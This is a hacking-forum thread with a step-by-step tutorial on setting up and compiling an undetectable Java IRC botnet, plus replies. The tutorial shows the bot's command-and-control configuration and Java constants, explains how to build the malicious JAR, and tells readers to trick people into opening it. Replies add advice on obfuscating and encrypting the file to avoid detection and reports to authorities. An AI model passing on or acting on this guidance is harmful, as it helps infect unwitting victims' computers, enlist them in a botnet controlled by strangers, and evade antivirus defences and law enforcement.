Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

[TuT]Java Botnet setup fully explained[TuT]

Java Botnet setup fully explained

Back when i first herd about a Java FUD botnet i was AMAZED at how many people could NOT get it working and can still NOT get it working.
I am going to explain STEP by STEP on how to get your computer setup for this expedition and how to edit the files and compile the Java botnet.

First off you need the source right?
Download that HERE!

After you Download the source extract it to your desktop or any directory of your choice using either WinRar or 7zip.
You can download WinRar here and 7zip here.

Now that all that is done, we can start having some real fun.
Go into the JAva_Botnet folder and open the file "config.php"
Inside you see exactly this...
Quote:SERVER: IRC_SERVER</br>PORT: 6667</br>IN_CHANNEL: #IRC_CHANNEL</br>OUT_CHANNEL: #IRC_CHANNEL</br>IN_PASSWORD: OPTIONAL</br>OUT_PASSWORD: OPTIONAL</br>NICK: [B0T]</br>CONTROLLERS: name, users, like, this</br>

You first want to edit this section of the code.
Quote:SERVER: IRC_SERVER</br>
Change the "IRC_SERVER" text to your IRC servers host.

You want to leave this part alone unless the port of your server is not the default 6667.
Quote:PORT: 6667</br>
Change the "6667" to your IRC servers port.

Now you want to edit this section of the code.
Quote:IN_CHANNEL: #IRC_CHANNEL</br>
Change the "IRC_CHANNEL" text to your IRC channel.

Then edit this code just like the previous step.
Quote:OUT_CHANNEL: #IRC_CHANNEL</br>
Change the "IRC_CHANNEL" text to your IRC channel.

Next edit this part of the code.
Quote:IN_PASSWORD: OPTIONAL</br>
This part is optional, you can either change the OPTIONAL text to any password of your choice or just delete it and leave a space before the </br> and after the : This is nothing serious and not needed for the bot to run.

Now edit this part of the code.
Quote:OUT_PASSWORD: OPTIONAL</br>
This part is EXACTLY like above. Either leave it blank or put in a password.

This part of the code can be left as is.
Quote:NICK: [B0T]</br>
This is the name of the bot when it joins the IRC channel followed by numbers randomly picked by the bot on startup.

Finally this part of the code must be edited.
Quote:CONTROLLERS: name, users, like, this</br>
Where it says "name, users, like, this" it means that only THESE usernames are allowed to send commands to the bot. If their is only one operator of the bot then just put the username that you use in IRC without a comma ",".

Now you can save and close that config.php.
You want to upload this to a FTP (file transfer protocol) server. I'm going to say this once DO NOT UPLOAD TO A FILE HOSTING WEBSITE IT WILL NOT WORK!

Now open Constants.java in notepad.
You will see this text EXACTLY.
Quote:class Constants {

public static final double BOT_VERSION = 1.0;

public static final String MAIN_HOST = "Main irc host";//Edit this.

public static final String CONF_URL = "config.php URL";//Edit NEEDED

public static final String BACKUP_HOST = "BACKUP IRC SERVER";//Not needed, but recommended.

public static final String CONF_URL_BACKUP = "CONFIG.PHP URL 2";//Recommended.

public static final String IP_ADDR_URL = "http://whatismyip.com/automation/n09230945.asp";
//Leave that as it is.

public static final int FILE_SERVER_DEFAULT_PORT = 3943;//Leave this.

public static final String INI_FILE_LOC = "C:\\Program Files\\win32.ini";
}

The only part of this file that needs to be edited is this here
Quote:public static final String CONF_URL = "config.php URL";//Edit NEEDED
You want to remove the text "config.php URL" and put in the URL of the config.php file you uploaded to a FTP (file transfer protocol).
Example is http://yourdomain.com/config.php

Save and exit the file.
You are now done editing your bot here is the fun part!

You MUST i repeat MUST have JDK (Java Development Kit) installed!
You can downlaod JDK 6 update 14 here

After you have downloaded and installed JDK go into the Java_Botnet folder and double click "Java to Class.exe"
Follow the instructions that are given in the program.

After you have SUCESSFULLY compiled the Java files to Class files you need to make sure that there are the same number of Class files as Java files in the Java_Botnet folder.

Next you double click "JARMaker.exe" and follow the instructions that are given in the program.

If you Did everything right, there should now be a file in the Java_Botnet folder named "Nightmare.jar"

Open the .jar file and see if it connects to your IRC, if not go back and make sure everything is correct.

To remove your botnet go into start > run > msconfig > startup > Nightmare.jar and remove and click apply. That will stop the botnet running. In IRC double click to open a private chat between you and the botnet and do the command ".exit" Then you have removed yourself from the botnet.

GUESS WHAT?!

Thats right there is YOUR Java BOTNET!!
All you have to do is give it to people and have them open it. Easy as that.

Your all setup with a Java botnet and it only took what? an hour to read.
Oh well atleast you have a FUD botnet now and dont need to worry about buying crypters and silly shit like that.

If ANYONE at all realizes that i left something out or would like to comment on this tutorial please feel free to post.

Thank you for reading my tutorial!

Rep if possible, thanx


m13rz
Let say I test this on my PC and I wanted to remove it.

How should I remove it since antivirus software cannot detect it?

Thanks.
(Jun 12, 2009 01:56 AM)ohytheng Wrote:  Let say I test this on my PC and I wanted to remove it.

How should I remove it since antivirus software cannot detect it?

Thanks.

To remove your botnet go into start > run > msconfig > startup > Nightmare.jar and remove and click apply. That will stop the botnet running. In IRC double click to open a private chat between you and the botnet and do the command ".exit" Then you have removed yourself from the botnet.
Good tut m13rz!

Too short
Thank you verry much.
This is the longest tutorial i have seen dedicated to Java botnet....
:( i don't know how to make it work

done all steps and no connection to irc
If someone finds the jar they can extract it and decompile it, then have your password, irc server, ect. They could attempt to steal your bots, and if they fail they can always just report you to the authorities.

So, you should get an obfusticator that can encrypt your strings. Just my 2 cents.
Fizzix you can encrypt the jar fie so no details will be shown.
What i am currently working on is editing the names of the files so when decompiled they wont know exactly where to look.

I do have an encrypter for this but its not going to be needed once my other botnet is released.
Thanks for the share. I can see you've put some time into this and I appreciate it.
It's my pleasure. I try and help noobs as much as possible
I did all the steps but couldn't get it to connect. I'm assuming it was because the ftp part confused the hell out of me, and thats the only step I'm unsure of how to do. Can you provide some explanation about the ftp?
(Jun 12, 2009 05:32 AM)nazariy Wrote:  Fizzix you can encrypt the jar fie so no details will be shown.

(Jun 12, 2009 05:25 AM)Fizzix Wrote:  So, you should get an obfusticator that can encrypt your strings. Just my 2 cents.
(Jun 12, 2009 12:52 PM)Pauwelz Wrote:  It's my pleasure. I try and help noobs as much as possible

Yeah, its pretty cool of you to post this tut. I haven't gotten into botnets yet but your guide has definitely encouraged me :).
(Jun 12, 2009 08:22 PM)n3xus Wrote:  Yeah, its pretty cool of you to post this tut. I haven't gotten into botnets yet but your guide has definitely encouraged me :).

If you are just now starting out with botnets. I would reccommend this as the best for complete beginners.


Possibly Related Threads...
Thread / Author Replies Views Last Post
by Prix1337May 24, 2025 09:12 PM 122 8,103 May 24, 2025 09:12 PM
Last Post: cohensholom
by WhitedarkJun 30, 2024 03:55 PM 6 788 Jun 30, 2024 03:55 PM
Last Post: EVRA
by KraythNov 5, 2023 12:27 PM 66 2,247 Nov 5, 2023 12:27 PM
Last Post: KrissTV